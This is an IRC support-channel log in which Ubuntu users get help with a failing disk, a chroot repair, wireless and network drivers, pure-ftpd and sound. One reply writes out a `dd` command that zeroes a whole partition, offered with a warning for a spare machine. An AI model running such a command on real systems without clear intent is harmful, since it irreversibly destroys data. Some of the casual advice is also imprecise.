[03:44] <persia> LaserLine: No, that looks fine.  It runs the automated fsck on boot each time.  And if you are shutting down your machine cleanly, it should unmount before it turns off.   Hmmmm.....  Could you please umount your drive from the live cd, and run `fsck /dev/hda1 -y > bar 2>&1` and post bar as a comment?  I'd like to look at the errors.
[03:44] <AzCowboy> It's also telling me I don't have a battery installed.
[03:44] <AzCowboy> heh
[03:45] <LaserLine> persia ok.
[03:45] <LaserLine> persia - I found the following error in the syslog: " {hdb: drive_cmd: status=0x51 {DriveReady SeekComplete Error}
[03:45] <ekimus> AzCowboy: is there a possibility that you (by accident) disable/enable the wlan card? because my notebook is poorly designed and when i work with it I sometimes hit the button that does just this
[03:46] <ekimus> AzCowboy: took me a while to figure that out
[03:46] <LaserLine> persia how do i unmount foo ?
[03:46] <persia> LaserLine: I've only seen that error when a drive was about to fail.  I recommend you replace your hard drive soonest!
[03:46] <LaserLine> persia really ?
[03:46] <ekimus> LaserLine: looks like your harddrive is dying (or if it's a cd a bad one very bad)
[03:46] <persia> LaserLine: `sudo umount foo`
[03:47] <persia> LaserLine: Really.
[03:47] <AzCowboy> Nope.  The laptop is folded at the back of my desk, under a monitor stand, and I'm currently USING the wireless connection.  It still says it's cycling.
[03:47] <LaserLine> persia, i get command not found when typing sudo unmount foo
[03:47] <AzCowboy> and the laptop has a switch on the front of it for the wireless.  Nothing anywhere near it.
[03:48] <persia> LaserLine: No 'N': `sudo umount foo`
[03:48] <LaserLine> persia, silly me!
[03:48] <LaserLine> persia, what does the error mean ?
[03:48] <ekimus> AzCowboy: i just can think of the lapic stuff. no more ideas sorry (but i also saw something about upgrading your bios in the messages, on the other hand if it worked you should make sure it isn't the access point that's causing the trouble)
[03:48] <LaserLine> persia - device is busy while trying to Umount
[03:49] <AzCowboy> ekimus: Everything is exactly the same as yesterday when it worked fine.
[03:49] <AzCowboy> ah, well... I'll try to fix it.
[03:49] <AzCowboy> Thanks.
[03:49] <ekimus> AzCowboy: then i'd blame either the router or the hardware in the laptop....
[03:49] <LaserLine> persia - I can't unmount it... :(
[03:49] <kjaer> I can't seem to get my wireless to work. It is using the ipw2200 chipset. At first ubuntu found the card, said it was wireless and so on, but I wasn't able to use it.
[03:50] <ekimus> LaserLine: that's most probably because of the dying harddrive. my guess it can't sync the data in the buffers to disk
[03:50] <kjaer> Couldn't search for networks or the like.
[03:50] <Shacham> persia Shacham: If you don't find a command line interface to one of the more advanced tools, you can always manually configure the MIME and SMTP headers, and do something with `sendmail -bs.  This might require a little scripting to be repeatable...
[03:50] <persia> LaserLine: You've got a process running on that drive.  As you're in the livecd, it may be easiest to reboot.  The error message indicates that the drive reported that it was not ready when trying to find something.  Looking at the error carefully, I notice that it is the CD, so as ekimus said, your CD may have issues.
[03:50] <Shacham> i need it with a command line interface
[03:50] <jatos> hi
[03:50] <kjaer> Then I upgraded the ipw2200 driver and firmware, and the ieee80211 module.
[03:50] <Shacham> its for a cron backup script
[03:50] <kjaer> Now it can't even recognice it as a wireless card.
[03:51] <kjaer> Any hints what to do ?
[03:51] <LaserLine> persia, do you know of a tool to physically lowlevel format a HD ?
[03:51] <ekimus> LaserLine: dd
[03:51] <persia> Shacham: sendmail -bs is a command line interface to send files: perfect for backup scripts.  On the other hand, the interface leaves a *lot* to be desired, and you may have to read some RFCs to get it working nicely.  Back when I had a mail server, I had a perl script to do this, but I've since lost it.
[03:51] <LaserLine> ekimus dd ?
[03:52] <ekimus> LaserLine: the tool you asked for (not exactly low level formatting but it will do enough to make sure you have a clean disk, so you can run tests on it)
[03:52] <CarlFK> I have 6 pci modems.  none show up under "detect modem", so I am guessing they are all winmodems.  I hear some will work.  what is the best way to figure out which will work best?
[03:53] <persia> LaserLine: I usually repartition and mkfs, but if the drive is bad, formatting will not help so much.
[03:53] <LaserLine> persia, when i think about it, if the harddrive really has an error, then i should see it in the same error in the syslog of the LiveCD boot... ?
[03:53] <Bags> Hello again boys and girls...
[03:53] <LaserLine> ekimus, where can i find this tool ?
[03:54] <Bags> pure-ftpd is doing some wierd stuff. No matter what I do, each user logs into and is allowed to browse all files...
[03:54] <boodle> anyone using breezy getting evolution segfaults with "GNOME_IS_CANVAS" calls showing up i ".xsession_errors" ?
[03:54] <persia> LaserLine: No, the hard drive does not mount automatically during the livecd boot (I think); that's why you had to mount it manually.  Moreover, the error you reported (SeekNotReady) was for /dev/hdb1 - the livecd itself, rather than your hard drive.
[03:54] <ekimus> LaserLine: in the terminal, but be carefull if you choose the wrong device you can easily wipe out everything on a harddisk you don't want to get wiped
[03:54] <rouven> hey. how do i tell breezy's hotplug to link the proprietary nvidia modules into a proper .ko and put in volatile?
[03:54] <rouven> is that supposed to happen automagically?
[03:54] <LaserLine> ekimus, i don't care, this laptop is me learning linux....
[03:54] <Bags> I'm using pureadmin and it keeps reporting that pureFTP is not running, but I'm able to serve.
[03:55] <Shacham> persia, thx :)
[03:55] <persia> rouven: `module-assistant` then `dpkg-reconfigure linux-image-`uname -r``
[03:55] <ekimus> LaserLine: but if you are in live cd. it's more likely what persia says (the cd having errors not the harddrive)
[03:55] <LaserLine> ekumus it's a spare computer, before i install it on my own machine. I want to leave Windows for good.
[03:55] <Bags> I can only serve, however, to accounts set up in gnome's users and groups, so these are machine accounts.
[03:55] <rouven> persia, thanks, i'll try that.
[03:55] <LaserLine> ekimus ok.
[03:55] <persia> Shacham: There's probably an already cooked recipie somewhere: my apologies I don't have one.
[03:55] <LaserLine> ekimus, just for my knowledge, if i want to dd /dev/hda1 what should i do ?
[03:56] <Bags> If I set up an account in pureadmin, the account is not recognised. It's almost as if there's another ftp server working, but PureAdmin is monitoring the activity.
[03:56] <LaserLine> persia should i run the fsck command from X or TTY 2 ?
[03:56] <stoeptegel> can i use debian unstable packages (rtorrent) for ubuntu 5.04 amd64?
[03:56] <CarlFK> LaserLine: dd if=/dev/hda1 of=OutputFIlename
[03:57] <persia> LaserLine: Be absolutely sure there is nothing on /dev/hda1 you want.  Then `dd if=/dev/zero of=/dev/hda1 bs=1048576`
[03:57] <ekimus> LaserLine: man dd (really, you should read what dd does before you work with it, it's really low level and can seriously harm your data. I won't explain it for you)
[03:57] <CarlFK> LaserLine - if that errors, then you need the skip errors, fill with 0
[03:57] <persia> LaserLine: You can run it anywhere: it will just create bar for our review.
[03:57] <twibbler> does anybody know of any linux gps software ...
[03:57] <Bags> Any takers on my pureftpd question?
[03:58] <ekimus> twibbler: "apt-cache search gps"?
[03:58] <twibbler> thanks ekimus ...
[03:58] <Bags> Any suggestion for another irc channel that might be more appropriate to pureftpd questions?
[03:58] <CarlFK> twibbler - take a look at http://grass.itc.it
[03:58] <ekimus> twibbler: i saw at least to programs just with the command
[03:58] <CarlFK> twibbler - not sure if it does gps, but seems like a good place to start
[03:59] <LaserLine> persia, that made a "bar" file that has 4 lines in it, is that OK ?
[03:59] <persia> twibbler: You may also find https://wiki.ubuntu.com/UbuntuGIS interesting...
[03:59] <persia> LaserLine: 4 lines is fine.
[04:00] <LaserLine> I'll paste it at pastebin
[04:00] <boodle> any suggestions on "evolution" replacement? (e-mail, contacts, calendar/tasks) ?
[04:01] <ekimus> boodle: kontact
[04:01] <jo_e> boodle: emacs
[04:01] <ekimus> *g*
[04:01] <ekimus> for the sake of it: vim
[04:01] <jo_e> ;)
[04:01] <LaserLine> persia, http://pastebin.ubuntulinux.nl/1765
[04:01] <LaserLine> http://pastebin.ubuntulinux.nl/1766
[04:01] <boodle> ekimus: wish it was named "gcontact" :-) gnome user.   jo_e any pointers to where to look for using emacs for above (I'm serious at this point!)
[04:02] <persia> LaserLine: Now I'm very confused.  When you run the fsck from the livecd, it shows no errors, but when you boot you are reporting lots of inode errors on fsck.  Is this correct?
[04:02] <ekimus> jo_e: recommending emacs with a nick that suggests "joe"........
[04:02] <chrismy> hey :D
[04:03] <LaserLine> persia, yes, but I told you i ran the fsck -c -C -f command and fixed the errors.... but i still get some file errors.
[04:03] <jo_e> boodle: emacs comes with an info manual, C-h i, and has a section called "Customisation" with a load of examples you can just dump into your .emacs
[04:03] <jo_e> ekimus: my name suggests joe because my name is joe ;)
[04:03] <ekimus> jo_e: good point :)
[04:03] <boodle> heh k
[04:04] <kemik> !java
[04:04] <ubotu> well, java is to install Java please see https://wiki.ubuntu.com/Java
[04:06] <LaserLine> persia, any idea what's going on with my HD ? is there any tool (except DD) that can tell me what is the health of my HD ?
[04:06] <LaserLine> persia, I already installed a S.M.A.R.T Deamon and ran all 3 scans and all was OK.
[04:06] <persia> LaserLine: I think you had a bad block in some critical file, and destroyed the file when you marked the blocks bad.  I still recommend you replace the disk, but you ought to be able to reinstall stuff to fix it.  If you want to reinstall things (like your kernel) without booting your damaged disk, you can mount /dev/hda1 again, and then virtually immerse yourself in that environment with `chroot foo bash`.  From here, you can run a
[04:07] <X3N> restart /usr/bin/vmware-config.pl
[04:07] <X3N> with CC environment variable pointing to the "gcc" version "3.4.5" <// anyone got any suggestions on how i could do this
[04:07] <persia> LaserLine: I don't know of any tools to check the health of a hard drive (and didn't know dd could do that : I thought it just copied data).
[04:08] <LaserLine> persia, your long post ended with "From here, you can run a" - what's next?
[04:08] <CarlFK> dd will error if it hits.. an error. ;)
[04:08] <joachimaa> !find
[04:09] <joachimaa> !find php-ncurses
[04:09] <persia> LaserLine: "From here you can run aptitude to look at things", but it probably should have ended "to reinstall things".  'L' is your friend today.
[04:09] <LaserLine> persia, I got the same error !!!!!! :D
[04:10] <LaserLine> persia, I remounted /dev/hda1 as foo
[04:10] <LaserLine> persia, then chroot foo bash
[04:10] <ubotu> Ubuntu Package/File/Desc Search of 'php-ncurses' returned no results.
[04:11] <LaserLine> persia, Now i see a "root@ubuntu:/#" i tried to run "ls" and got the following: "ls: error while loading shared libraries: librt.so.1: cannot open shared object file: No such file or directory"
[04:12] <persia> LaserLine: Excellent!  You are now able to use your broken box in that terminal.  Can you open another terminal in the livecd?
[04:12] <aurax_> hay can anyone help me out with bridging ?
[04:13] <LaserLine> persia, yes I opened another terminal. one of them is "root@ubuntu" and the other one is a regular terminal.
[04:13] <X3N> yes aurax_
[04:13] <aurax_> X3N i got ubuntu as server bridged, 2 lan cards, switches, 7 clients
[04:13] <aurax_> i can ping the server
[04:13] <aurax_> but not outside
[04:14] <aurax_> it was working earlier no clue why it stopped.
[04:14] <arachnion> I just installed ubuntu, and the brightness is rather low
[04:14] <aurax_> cd /etc
[04:14] <aurax_> shwoops
[04:14] <arachnion> I have an old monitor, it's brightness is already at max
[04:15] <persia> Great.  Since your hard drive is already broken, I don't think we can do any more damage by copying /lib/librt.so.1 from the livecd environment to foo/lib/librt.so.1 (you need to do this in the livecd terminal).  Once copied, try running `ls` in the HD terminal again?
[04:15] <X3N> arachnion, type X --help
[04:15] <LaserLine> persia, I can't run aptitude from the "root@ubuntu" terminal, I get "aptitude: error while loading shared libraries: libpthread.so.0 cannot open shared object file: no such file or directory"
[04:15] <aurax_> x3n any idea ?
[04:15] <Cyber-shot> hi
[04:16] <arachnion> it says I'm not authorized X3N
[04:16] <X3N> not really, i've not got a clear picture of your setup
[04:16] <aurax_> again, :)
[04:16] <X3N> do it as root then arachnion
[04:16] <X3N> or sudo
[04:16] <Cyber-shot> hello all
[04:16] <Cyber-shot> :)
[04:16] <aurax_> ubuntu, with 7 clients
[04:16] <aurax_> dhcpd,
[04:16] <aurax_> want me to throw the conf's @ #flood ?
[04:16] <persia> LaserLine: As with librt.so.1, try copying /lib/libpthread.so.0 from the livecd to foo/lib and see what the next error is.  Eventually, enough libraries should be restored that you should be able to start reinstalling things.
[04:17] <aurax_> route -n ?
[04:17] <kamikazesponge> can i configure my box so it has a static ip/dns/gateway/broadcast/subnet on my network?
[04:17] <aurax_> something im really confugsed.
[04:17] <aurax_> confused
[04:17] <Cyber-shot> hello everybody
[04:17] <X3N> orospakr i recognise your nick
[04:18] <orospakr> X3N, hi
[04:18] <Cyber-shot> who  know how to use webcam in ubuntu?
[04:18] <Cyber-shot> pls help me
[04:18] <Cyber-shot> :)
[04:19] <LaserLine> persia, got LS working :D
[04:19] <LaserLine> now I ran aptitude...
[04:19] <arachnion> X3N, I've got this far: "sudo X -gamma 1.5"
[04:19] <aurax_> .
[04:19] <aurax_> X3N
[04:19] <aurax_> i've installed impasq, and bridge-utils
[04:20] <LaserLine> persia - I get APT Errors /home/ubuntu/.aptitude" how do i make it choose /foo ?
[04:20] <arachnion> but it's having problems since the display is already started
[04:20] <arachnion> or something like that
[04:20] <persia> LaserLine: Once you can run aptitude, you can start reinstalling things.  I recommend starting with libc6, as this should fix most of your shared library issues.
[04:21] <persia> LaserLine: You get that error when running aptitude in the chroot?
[04:21] <LaserLine> persia yes.
[04:22] <magical_trevsky> can anybody help me with running ubuntu on my laptop?
[04:22] <aurax_> hi again
[04:22] <aurax_> sorry
[04:22] <persia> Is that the actual error message?  Unfortunately, I don't understand what is wrong.
[04:22] <aurax_> x3n ur still around ?
[04:22] <X3N> yeah
[04:22] <aurax_> aight, cool.
[04:22] <kamikazesponge> can i configure my box so it has a static ip/dns/gateway/broadcast/subnet on my network? anyone?
[04:22] <LaserLine> persia, yes - it says error 2
[04:22] <magical_trevsky> I have an ibm thinkpad t20, and ubuntu doesn't recognise the built in network card
[04:22] <aurax_> i tell you what, i can ping the clients, clients can ping the server, and no outside traffic
[04:23] <aurax_> also NS issues, cant resolve dns's or ping sites
[04:23] <LaserLine> persia, maybe because i did mkdir foo under the home/ubuntu directory ?
[04:24] <aurax_> x3n ?
[04:24] <nerdy2> kamikazesponge: yes, go to System > Administration > Networking
[04:24] <kamikazesponge> nerdy2: i don't have X installed, that's the problem
[04:24] <kamikazesponge> nerdy2: it's a server you ssee
[04:24] <nerdy2> kamikazesponge: ok alternatively edit /etc/network/interfaces
[04:24] <persia> LaserLine: The programs you run in the chroot should not know about the filesystem outside the chroot.  I don't understand: it really shouldn't matter where you put foo.  How about just `apt-get --reinstall install libc6`?
[04:24] <kamikazesponge> nerdy2: ok
[04:25] <LaserLine> persia, that works.
[04:25] <nerdy2> kamikazesponge:  man 5 interfaces will tell you the format/what you can put in there
[04:25] <magical_trevsky> can anybody help me?
[04:25] <kamikazesponge> nerdy2: thanks, i think that will do it ^^
[04:26] <LaserLine> persia i get an cache error...it can't find the packages ?
[04:27] <magical_trevsky> is there any way I can identify the network card, so I can try to find drivers?
[04:27] <persia> LaserLine: You may have to run `aptitude update` first: perhaps your cache is also corrupted.
[04:27] <occy> I just got a new USB 2.0 Seagate 160GB external hard drive (7200RPM 8MB Cache)  I've tried running  fdisk /dev/sda1 on it, but I got this error:  WARNING: Re-reading the partition table failed with error 22: Invalid argument. The kernel still uses the old table. The new table will be used at the next reboot. Syncing disks.
[04:27] <LaserLine> persia, what i understand is that i need to reinstall Ubuntu...
[04:27] <trygvebw> hi
[04:27] <nerdy2> magical_trevsky: try running lspci
[04:27] <X3N> what do you mean by outside aurax_
[04:27] <trygvebw> How can i adjust the display gamma?
[04:28] <nerdy2> magical_trevsky: [googling also may be suggestive] 
[04:28] <LaserLine> persia, But i would like to "fix" my HD, because i already reinstalled ubuntu because these kind of errors....
[04:28] <aurax_> can't get into google from the client box
[04:28] <aurax_> or to any other website
[04:28] <aurax_> or ping to it
[04:28] <aurax_> or even resolving
[04:28] <magical_trevsky> nerdy2: could you possibly explain what Ispci is? I'm very new to linux, sorry
[04:29] <X3N> orospakr, were you on xnet/afterx ?
[04:29] <occy> magical_trevsky, open a term and type   lspci   ( L )
[04:29] <occy> heh
[04:29] <orospakr> X3N, no, I don't think so.
[04:29] <LaserLine> Persia, do you know of a tool that can destroy my HD, and mark badblocks as unavailable - even if it will take up half of the size, i don't care... I don't want to buy a new HD (too expensive...)
[04:29] <occy> magical_trevsky, not Ispci
[04:29] <Bags> How do you stop pureftp from running?
[04:29] <sproingie> buh.  why on earth does ubuntu's grep not support -P?
[04:29] <occy> magical_trevsky, ;)
[04:29] <magical_trevsky> ah, ok, thanks
[04:29] <occy> magical_trevsky, np, we all learn.
[04:29] <persia> LaserLine: I believe you "fixed" your hard drive with the fsck -c you ran.  Now, you just need to get all the packages reinstalled.  Once you can get aptitude running, you ought to be able to 'L' each package to reinstall.  You'll probably want to do main before universe.  (unless anyone else has a better way).
[04:30] <nerdy2> magical_trevsky: it should list a bunch of PCI devices, one of them should be your network card
[04:30] <X3N> ohh orospakr its qc i know you from !
[04:30] <wickedpuppy> sproingie, it does support -P
[04:30] <persia> LaserLine: badblocks is supposed to do this: and fsck -c calls badblocks.  The problem is that once a drive starts to go, it typically gets worse over time, so you may expect to continue having issues, even if all blocks currently bad are unused...
[04:30] <wickedpuppy> -P, --perl-regexp         PATTERN is a Perl regular expression <----
[04:30] <sproingie> chuck@tetsuo:~$ grep -P foo
[04:30] <sproingie> grep: The -P option is not supported
[04:30] <nerdy2> magical_trevsky: which if google doesn't lie should be either an intel eepro card or a 3com 3c556b
[04:30] <sproingie> wickedpuppy: is this changed in breezy?
[04:30] <Bags> I'm having trouble with PureFTPd and I need to stop it. Can someone please tell me how to stop this service?
[04:31] <LaserLine> persia, If I reformat and reinstall ubuntu, all the "fixing" i did with fsck -c will be erased... is there a way of reinstalling ubuntu with the marked blocks ?
[04:31] <wickedpuppy> sproingie, i am using warty
[04:31] <thoreauputic> Bags: sudo invoke-rc.d pure-ftpd stop
[04:31] <sproingie> wickedpuppy: as am i
[04:31] <Bags> thoreauputic: Thanks.
[04:31] <wickedpuppy> sproingie, its grep problem ... i suggest you contact grep dev ?
[04:31] <wickedpuppy> i doubt ubuntu changes grep before they roll out the distro
[04:32] <thoreauputic> Bags: or sudo /etc/init.d/pure-ftpd stop  (same thing really)
[04:32] <sproingie> it's grep.  they didn't build it with pcre.
[04:32] <persia> LaserLine: If you install in "expert" mode, you can be allowed to manually configure your parititions, and keep the ones you already "fixed".  Also, you can run fsck-c after the format, and before you copy files, but I think your disk will get worse soon, and you will have to do this again.
[04:33] <sproingie> oh this is rich
[04:33] <Bags> thoreauputic: Yep, that did it, but that's not it.
[04:33] <magical_trevsky> nerdy2: it's a 3Com tornado apparently, should I just google for drivers?
[04:33] <sproingie> it's the amd64 build that isn't built with pcre
[04:33] <sproingie> how gratuitously broken
[04:33] <thoreauputic> Bags: not "it" ?
[04:33] <thoreauputic> Bags: define "it"
[04:33] <EasterSunshine> can someone recommend a hex editor and/or something that lets we see individual samples in a wav?
[04:34] <LaserLine> persia, please tell me what the error in the syslog means... (translate it to english if it's possible ;-) )
[04:34] <nerdy2> magical_trevsky: the driver should be 3c59x ?
[04:34] <Bags> thoreauputic: Every time I try to run a command with PureFTPd, I get "Unable to start a standalone server: Address already in use" It's as if there's another ftp server running...
[04:34] <thoreauputic> Bags: erm, if you ftp from another box on the network, does it connect ?
[04:34] <magical_trevsky> nerdy2: the card is 3c556b
[04:35] <thoreauputic> Bags: with pure-ftpd running of course
[04:35] <thoreauputic> on the server
[04:35] <Bags> thoreauputic: Only with existing normal user account credentials, the ones I set up in PureFTPd aren't recognised...
[04:37] <thoreauputic> Bags: ah OK - well it's a config issue then: I don't know the details of pure-ftpd so you'll need to consult the man page I guess, or the web page for pure-ftpd
[04:37] <magical_trevsky> nerdy2: I can't find any drivers for it on the 3com site :(
[04:37] <persia> LaserLine: "{hdb: drive_cmd: status=0x51 {DriveReady SeekComplete Error}" means that when reading drive hbd (primary IDE controller slave), your system was told that there was an error looking for something, to the best of my translation abilities.
[04:37] <nerdy2> magical_trevsky: try typing "sudo modprobe 3c59x" on the command line
[04:37] <Bags> thoreauputic: I've done a search on installed packages and I can't see any other ftp server service running...
[04:37] <thoreauputic> Bags: I think you have to set up new local accounts
[04:37] <Bags> thoreauputic: Yeah, done that...
[04:38] <Zarxrax> Does ubuntu live cd work on MS Virtual PC? The graphics are all corrupted looking.
[04:38] <Bags> thoreauputic: Removed, new, removed, new. Going around and around...
[04:38] <Bags> thoreauputic: Same story. PureAdmin says that PureFTPd isn't even running...
[04:39] <magical_trevsky> nerdy2: it doesn't return anything (I'm not connected to the internet btw, if that means anything)
[04:39] <thoreauputic> Bags: sorry, i can't really help - I've played with ftp, but I use scp/ssh or nfs here mostly
[04:39] <Bags> thoreauputic: I stopped it like you explained, and then tried to restart it, but I keep getting that thing about address already in use.
[04:39] <LaserLine> persia, ok...thanks... I'm really disappointed now :(
[04:39] <Bags> thoreauputic: That's ok.
[04:39] <nerdy2> magical_trevsky: that's ok,  to see if the module is loaded you can type "lsmod | grep 3c59x" at a terminal
[04:39] <Bags> thoreauputic: Thanks anyhoo.
[04:40] <thoreauputic> Bags: hang on I'll try it here...
[04:40] <LaserLine> persia, I think i'll try to get a Disk tool, like Acronis or something like that that boots from a CD and WIPE My drive...
[04:40] <nerdy2> magical_trevsky: if it's not loaded, nothing will be printed, if it is... there should be a line    "3c59x     <number>  <small number, likely 0 or 1>  <possibly empty list>"
[04:40] <CarlFK> default install ubunto on box A (intel P2).  should I be able to pull the drive and run it in Box B (intel P4)
[04:40] <aurax_> X3N ?
[04:41] <thoreauputic> Bags: seems to stop and start without complaint here
[04:41] <X3N> ?
[04:41] <Bags> thoreauputic: Bugger.
[04:41] <nerdy2> magical_trevsky: is it loaded?
[04:41] <Bundi> Sorry if this isn't the place for newbie questions, if not please direct me somewhere else. Anyway, I'm hoping someone call tell me where to add things to the PATH= I had a look on the message boards but the last thing I tried (/etc/environment if I remember rightly) needed to be undone before I could use my system again.
[04:41] <Bags> thoreauputic: It's something I'm doing then...
[04:41] <thoreauputic> Bags: did you use "start" or "restart" ?
[04:41] <CarlFK> Bundi - this is the place.
[04:41] <magical_trevsky> nerdy2: this is gonna sound really stupid, but I can't get the | to work on the keyboard :/
[04:41] <Bags> thoreauputic: Start
[04:42] <Bags> thoreauputic: start
[04:42] <magical_trevsky> nerdy2: which means I can't type that
[04:42] <CarlFK> Bundi - do you have more than one user on the box?
[04:42] <thoreauputic> Bags: hmm - well that doesn't complain here
[04:42] <occy> can you use hdparm and USB drives?
[04:42] <occy> it shows up as /dev/sda1
[04:42] <Bundi> CarlFK no, just me.
[04:42] <nerdy2> magical_trevsky: heh, well the | part was optional,   just do "lsmod" and you'll get a lot of output, look for a line of the form i said :)
[04:42] <CarlFK> Bundi - for one user, edit ~/.profile
[04:43] <thoreauputic> Bundi: for the system it would be /etc/profile I think
[04:43] <Bags> thoreauputic: I'm going to have to find a unix friend to vnc into my machine here and help me out.
[04:43] <Agiofws> why are hyphens added normaly in xchat+messneger+leafpad in my local language  well i can't use hyphens in  openoffice
[04:44] <magical_trevsky> nerdy2: it says 37160 0
[04:44] <CarlFK> Bundi - add to the end of it: PATH="$PATH:/home/carl/sh"
[04:44] <Bundi> CarlFK Okaydokey, thanks! Then reboot?
[04:44] <elTigre> hi!
[04:44] <CarlFK> Bundi - no, just logout/login
[04:44] <CarlFK> hmm
[04:44] <elTigre> I upgraded my laptop to breezy
[04:44] <nerdy2> magical_trevsky: ok, so it is loaded [the 37160 isn't useful for us,  the 0 says it isn't in use at the moment] 
[04:44] <elTigre> but now  xorg.conf is screwed
[04:45] <elTigre> I don't know how the installation program configured my card/lcd display, but it simply worked... now it can't find a screen
[04:45] <CarlFK> Bundi - hmm.  that file gets run everytime "something" happens.  I know it works for looging into a shell prompt, i 'think' it applies to logging into X too
[04:45] <X3N> have you tried reconfiguring it
[04:46] <LaserLine> CarlFK, Do you know any Windows/Dos tools that lowlevel format a HD ?
[04:46] <nerdy2> magical_trevsky: now probably the best thing to do is to see if this will work :),  by doing something like "ifconfig eth0 <ip address>" and then trying "ping <other ip address on the same lan>"
[04:46] <X3N> like dpkg --configure xorg
[04:46] <elTigre> I tried to reconfigure the xorg.conf file using debconf and numerous of my own ideas
[04:46] <elTigre> but this debconf thingy cannot even detect the correct resolution
[04:47] <X3N> is there not a backup of the conf ?
[04:47] <nerdy2> magical_trevsky: e.g. "ifconfig eth0 192.168.0.1"  and then "ping 192.168.0.100" if there's another box present with ip 192.168.0.100  (and no other box with ip 192.168.0.1 of course :))
[04:47] <elTigre> during the original installation I never entered the resolution, though
[04:47] <elTigre> sorry, no backup there
[04:47] <arachnion> hello, I just came here with a screen brightness problem, which I fixed
[04:47] <arachnion> thanks X3N
[04:47] <CarlFK> LaserLine - lowlevel?  that is a manufacture specif thing, which you normaly don't want to do any more.
[04:47] <arachnion> but I'm having a sound problem now
[04:47] <rbirkby> I've been unable to boot Breezy properly for a month. Can anyone help? The problem can be seen at: http://paste.ubuntulinux.nl/1769
[04:47] <arachnion> plain simple: no sound
[04:47] <magical_trevsky> nerdy2: I don't have any network cables for it, so i can't test it yet, I wasn't going to buy the cable until I knew it worked
[04:48] <magical_trevsky> so is there another way of testing?
[04:48] <LaserLine> CarlFK so tools similar that can fix a HD ?
[04:48] <thoreauputic> arachnion: step one - open alsamixer and check for muted channels
[04:48] <thoreauputic> arachnion: hit "m" to toggle mute/unmute
[04:49] <elTigre> can I run the config thingy from the installer without installing the complete system?
[04:49] <X3N> rbirkby, looks like a broken package or the permissions on the package are wrong
[04:49] <magical_trevsky> nerdy2: is http://libranet.com/support/db/2.8/0305 that what I'm looking for?
[04:50] <rbirkby> X3N, I tried deleting the package and redownloading, I tried looking at the /usr install location - doesn't exist. So I touched a file to make it exist. It all still fails
[04:50] <occy> how can I temporarily keep USB devices from mounting?
[04:50] <nerdy2> magical_trevsky: well you should be running a much more up to date kernel than that
[04:50] <occy>  stop /etc/init.d/hotplug ?
[04:50] <arachnion> all of them should be unmuted thoreauputic ?
[04:50] <elTigre> I really need this laptop working again soon...
[04:50] <nerdy2> magical_trevsky: try "uname -r",  what does it respond?
[04:50] <thoreauputic> arachnion: can't hurt - try it
[04:51] <arachnion> ok
[04:51] <thoreauputic> arachnion: and set them all around 50 or 60 %
[04:51] <rbirkby> X3N, libmp4 seems to have a whole string of dependancies that makes it virtually impossible to remove
[04:51] <arachnion> ok
[04:51] <magical_trevsky> nerdy2: 2.6.10-5-386
[04:52] <nerdy2> magical_trevsky: ok, so that page is outdated, as it says at the top a newer driver was included in the 2.4 line at least already
[04:52] <Bundi> brb
[04:52] <arachnion> nothing thoreauputic
[04:53] <magical_trevsky> nerdy2: so does that mean there's a driver already installed? o_O
[04:53] <thoreauputic> arachnion: do you hear anything if you do   cat /dev/urandom > /dev/dsp  ?  (ctrl-c to stop it)
[04:53] <jfosa> is there a good music player available on linux that has preset radio stations, the way winamp does?
[04:53] <nerdy2> magical_trevsky: well 3c59x should be the driver yes, and it is installed
[04:53] <arachnion> I read this thread, and it said that alsa needed to be able to grab my soundcard, bacause esd uses it
[04:54] <thoreauputic> jfosa: you might like streamtuner
[04:54] <EasterSunshine> i want a veiw a file in hex, how do i do it?
[04:54] <arachnion> no thoreauputic I don't hear anything
[04:54] <thoreauputic> jfosa: it uses xmms to play
[04:54] <magical_trevsky> nerdy2: so if I buy a crossover cable, plug it in and connect it to my desktop pc then it'll all work? I'm kinda confused
[04:54] <thoreauputic> arachnion: hmm... has sound worked before on this install ?
[04:55] <arachnion> it's brand new, no
[04:55] <nerdy2> magical_trevsky: well you'll have to set it up with ip addresses or whatever
[04:55] <magical_trevsky> because in 'networking' only the modem is listed, not the nic
[04:55] <thoreauputic> arachnion: ah.... well I'm no sound guru: if crimsun is around he might be able to help
[04:55] <Bags> thoreauputic: I just stopped the service again and the system is still running a ftp server service...
[04:56] <arachnion> crimsun, can you help me out, please?
[04:56] <nerdy2> magical_trevsky: yes, the driver should work [although if the install didn't recognize it, the driver's probably not loaded by default, so either modprobe every time, or set that up] 
[04:56] <jfosa> thoreaputic: does it have an apt-get thing?
[04:56] <thoreauputic> Bags: how do you know that? does it show up with  ps aux  ?
[04:56] <elTigre> how can I configure an xserver to run on my laptop?
[04:56] <Bags> thoreauputic: I stopped PureFTPd but I can still log in and transfer files via ftp...
[04:56] <Bags> thoreauputic: with what?
[04:56] <thoreauputic> jfosa: yes, it's in universe I think
[04:57] <EasterSunshine> Bags: do ps -A|grep ftp
[04:57] <thoreauputic> Bags:  what does  ps aux | grep ftp show ?
[04:57] <jfosa> thoreaputic: universe?
[04:57] <nerdy2> magical_trevsky: you can at least check that the driver recognizes your card,  (as root :  rmmod 3c59x ; modprobe 3c59x  -- this will make sure it actually loads, and wasn't just already there -- then go into /var/log and look at the ends of some files (e.g. kern.log, syslog, messages) for information from the driver)
[04:57] <thoreauputic> !tell jfosa about repos
[04:58] <nerdy2> magical_trevsky: the same information may be printed on your console  (which may well be /dev/tty1 or if you are on a terminal may well be that one)
[04:58] <jfosa> thoreaputic thanks :)
[04:58] <thoreauputic> jfosa: yw :)
[04:58] <rbirkby> Anyone else with other ideas on my problem?
[04:59] <Bags> root 14266 0.0 0.0 1592 456 pts/4 S+ 00:57 0:00 grep ftp
[04:59] <nerdy2> magical_trevsky: that information is about all one can do to make sure it'll work without actually testing it...
[04:59] <thoreauputic> Bags: well, there's no ftp server running if that's all you see
[05:00] <thoreauputic> Bags: does  pgrep pure-ftpd return a number?
[05:00] <brenner> rbirkby: just joined..what's the prob?
[05:00] <rbirkby> http://paste.ubuntulinux.nl/1769
[05:00] <Bags> thoreauputic: I just logged into it again with a PC and downloaded a file... ????
[05:01] <Bags> thoreauputic: nope
[05:01] <rbirkby> brenner, that's Breezy. It's been like that for a month. I've been unable to boot X in that time
[05:01] <Bags> thor
[05:02] <Bags> thoreauputic: hang on
[05:02] <rbirkby> brenner, so I've been trying to sort out the package problem hoping that X would sort itself once the package is fixed
[05:02] <magical_trevsky> nerdy2: there's a load of stuff that I don't understand at the end of syslog, but it does appear to be related to the nic
[05:02] <Bags> thoreauputic: I dropped the p from the pgrep
[05:02] <Bundi> brb
[05:02] <thoreauputic> Bags: heh
[05:03] <Bags> thoreauputic: pgrep pure-ftpd returns 14358 and 14359
